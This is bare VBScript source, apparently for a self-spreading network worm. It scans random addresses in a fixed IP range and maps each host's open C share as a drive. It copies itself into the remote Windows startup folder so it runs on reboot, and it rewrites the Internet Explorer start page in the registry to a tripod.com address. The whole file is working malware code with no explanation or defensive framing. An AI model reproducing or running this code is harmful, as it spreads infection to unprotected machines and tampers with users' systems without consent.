dim dot dim octa dim octb dim octc dim octd dim sharename dim driveconnected on error resume next randomize dot = "." octa = "209" octb = "214" octc = int((254 * rnd) + 1) octd = "0" driveconnected="0" set wshnetwork = createobject("wscript.network") startpage() do do while driveconnected = "0" checkaddress() wshnetwork.mapnetworkdrive "z:", sharename enumdrives() loop copyfiles() disconnectdrive() loop function checkaddress() octd = octd + 1 if octd = "255" then octc = int((254 * rnd) + 1) octd = "1" end if sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C" end function function enumdrives() set odrives = wshnetwork.enumnetworkdrives for i = 0 to odrives.count -1 if sharename = odrives.item(i) then driveconnected = 1 end if next end function function copyfiles() set fso = createobject("scripting.filesystemobject") fso.copyfile "c:\windows\startm~1\programs\startup\network.vbs", "z:\windows\startm~1\programs\startup\" end function function disconnectdrive() wshnetwork.removenetworkdrive "z:" driveconnected = "0" end function function startpage() set regedit = createobject("WScript.Shell") regedit.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://networktracker.tripod.com" end function